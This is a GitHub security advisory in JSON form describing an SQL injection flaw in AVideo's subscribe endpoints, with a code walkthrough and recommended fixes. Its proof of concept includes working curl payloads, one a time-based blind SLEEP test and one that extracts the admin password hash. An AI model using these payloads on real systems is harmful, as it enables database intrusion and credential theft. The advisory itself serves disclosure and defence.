{"id":"GHSA-ffr8-fxhv-fv8h","summary":"AVideo is Vulnerable to SQL Injection through Subscribe Endpoint via Unsanitized user_id Parameter","details":"## Summary\n\nThe `Subscribe::save()` method in `objects/subscribe.php` concatenates the `$this-\u003eusers_id` property directly into an INSERT SQL query without sanitization or parameterized binding. This property originates from `$_POST['user_id']` in both `subscribe.json.php` and `subscribeNotify.json.php`. An authenticated attacker can inject arbitrary SQL to extract sensitive data from any database table, including password hashes, API keys, and encryption salts.\n\n## Details\n\nThe vulnerability exists because of a disconnect between where `intval()` is applied and where the value is used in SQL.\n\n**Entry points** — `objects/subscribe.json.php:40` and `objects/subscribeNotify.json.php:23`:\n\n```php\n// subscribe.json.php line 40\n$subscribe = new Subscribe(0, $_POST['email'], $_POST['user_id'], User::getId());\n```\n\n**Constructor stores raw value** — `objects/subscribe.php:34`:\n\n```php\npublic function __construct($id, $email = \"\", $user_id = \"\", $subscriber_users_id = \"\")\n{\n    // ...\n    $this-\u003eusers_id = $user_id;  // Raw $_POST['user_id'], no sanitization\n    $this-\u003esubscriber_users_id = $subscriber_users_id;\n    if (empty($this-\u003eid)) {\n        $this-\u003eloadFromId($this-\u003esubscriber_users_id, $user_id, \"\");\n    }\n}\n```\n\n**`getSubscribeFromID` sanitizes local copies only** — `objects/subscribe.php:137-139`:\n\n```php\npublic static function getSubscribeFromID($subscriber_users_id, $user_id, $status = \"a\"){\n    $subscriber_users_id = intval($subscriber_users_id);  // Local variable only\n    $user_id = intval($user_id);  // Local variable only — $this-\u003eusers_id is NOT affected\n```\n\nWhen `getSubscribeFromID` finds no matching subscription (the attacker simply targets a user_id they haven't subscribed to), `loadFromId()` returns false. The object's `$this-\u003eid` remains null, and `$this-\u003eusers_id` retains the unsanitized injection payload.\n\n**Vulnerable sink** — `objects/subscribe.php:88`:\n\n```php\npublic function save()\n{\n    if (!empty($this-\u003eid)) {\n        // UPDATE path (not reached when $this-\u003eid is null)\n    } else {\n        $this-\u003estatus = 'a';\n        $sql = \"INSERT INTO subscribes (users_id, email, status, ip, created, modified, subscriber_users_id) \n                VALUES ('{$this-\u003eusers_id}', ...\";  // Direct concatenation of injected value\n    }\n    $saved = sqlDAL::writeSql($sql);  // Called with NO $formats or $values\n```\n\n**`sqlDAL::writeSql` provides no protection** — `objects/mysql_dal.php:102`:\n\nWhen called without `$formats`/`$values` parameters (as `save()` does), the `eval_mysql_bind()` function at line 636 returns `true` without binding any parameters. The already-concatenated SQL string is passed directly to `$global['mysqli']-\u003eprepare()` and `execute()`, executing the injection as the prepared statement itself.\n\n## PoC\n\n**Prerequisites:** An authenticated session on the target AVideo instance.\n\n**Step 1: Confirm injection with time-based blind SQLi**\n\n```bash\n# Pick a user_id that the current user has NOT subscribed to (e.g., 99999)\n# The SLEEP(5) will cause a ~5 second delay confirming injection\ncurl -s -o /dev/null -w \"%{time_total}\" \\\n  -b 'PHPSESSID=VALID_SESSION_ID' \\\n  -d \"user_id=99999'+AND+SLEEP(5)+AND+'1\" \\\n  https://target/objects/subscribe.json.php\n# Expected: ~5 second response time (vs \u003c1 second normally)\n```\n\n**Step 2: Extract admin password hash via INSERT subquery**\n\n```bash\n# Inject a subquery that reads the admin password hash into the email column\ncurl -b 'PHPSESSID=VALID_SESSION_ID' \\\n  -d \"user_id=99999',(SELECT+pass+FROM+users+WHERE+isAdmin=1+LIMIT+1),'a','1.1.1.1',now(),now(),'1');%23\" \\\n  https://target/objects/subscribe.json.php\n```\n\nThis closes the `VALUES` clause with attacker-controlled data and comments out the rest of the query. The admin password hash is inserted into the `email` column of the `subscribes` table, which can be read back via the subscription list API.\n\n**Step 3: Read exfiltrated data**\n\nThe injected row is readable via any endpoint that queries the `subscribes` table and returns the `email` field (e.g., `getAllSubscribes()`).\n\nThe same attack works against `objects/subscribeNotify.json.php` via the same `user_id` parameter.\n\n## Impact\n\n- **Full database read access:** An attacker with any authenticated account can extract arbitrary data from all database tables using INSERT subqueries, including:\n  - User password hashes (`users.pass`)\n  - Admin credentials\n  - Encryption salts and API keys from configuration tables\n  - Email addresses and personal data of all users\n- **Data integrity:** The attacker can insert arbitrary rows into the `subscribes` table.\n- **Two affected endpoints:** Both `subscribe.json.php` and `subscribeNotify.json.php` pass raw `$_POST['user_id']` to the vulnerable code path.\n\n## Recommended Fix\n\nApply `intval()` to `$this-\u003eusers_id` before use in the constructor, or better yet, use parameterized queries in `save()`.\n\n**Option 1 — Sanitize in constructor** (minimal fix):\n\n```php\n// objects/subscribe.php, constructor (line 34)\n- $this-\u003eusers_id = $user_id;\n+ $this-\u003eusers_id = intval($user_id);\n```\n\n**Option 2 — Use parameterized query in save()** (recommended):\n\n```php\n// objects/subscribe.php, save() method (lines 87-90)\npublic function save()\n{\n    global $global;\n    if (!empty($this-\u003eid)) {\n        $sql = \"UPDATE subscribes SET status = ?, notify = ?, ip = ?, modified = now() WHERE id = ?\";\n        $saved = sqlDAL::writeSql($sql, \"sssi\", [$this-\u003estatus, $this-\u003enotify, getRealIpAddr(), $this-\u003eid]);\n    } else {\n        $this-\u003estatus = 'a';\n        $sql = \"INSERT INTO subscribes (users_id, email, status, ip, created, modified, subscriber_users_id) VALUES (?, ?, ?, ?, now(), now(), ?)\";\n        $saved = sqlDAL::writeSql($sql, \"isssi\", [intval($this-\u003eusers_id), $this-\u003eemail, $this-\u003estatus, getRealIpAddr(), intval($this-\u003esubscriber_users_id)]);\n    }\n```\n\nOption 2 is strongly recommended as it also fixes the unsanitized `$this-\u003eemail`, `$this-\u003estatus`, and `getRealIpAddr()` values in both the INSERT and UPDATE paths, preventing any future injection through those fields.","aliases":["CVE-2026-33723"],"modified":"2026-03-25T22:11:19.905144Z","published":"2026-03-25T21:56:12Z","database_specific":{"cwe_ids":["CWE-89"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-03-25T21:56:12Z","nvd_published_at":"2026-03-23T19:16:42Z"},"references":[{"type":"WEB","url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-ffr8-fxhv-fv8h"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33723"},{"type":"WEB","url":"https://github.com/WWBN/AVideo/commit/36dfae22059fbd66fd34bbc5568a838fc0efd66c"},{"type":"PACKAGE","url":"https://github.com/WWBN/AVideo"}],"affected":[{"package":{"name":"wwbn/avideo","ecosystem":"Packagist","purl":"pkg:composer/wwbn/avideo"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"26.0"}]}],"versions":["10.4","10.8","11","11.1","11.1.1","11.5","11.6","12.4","14.3","14.3.1","14.4","18.0","21.0","22.0","24.0","25.0","26.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-ffr8-fxhv-fv8h/GHSA-ffr8-fxhv-fv8h.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N"}]}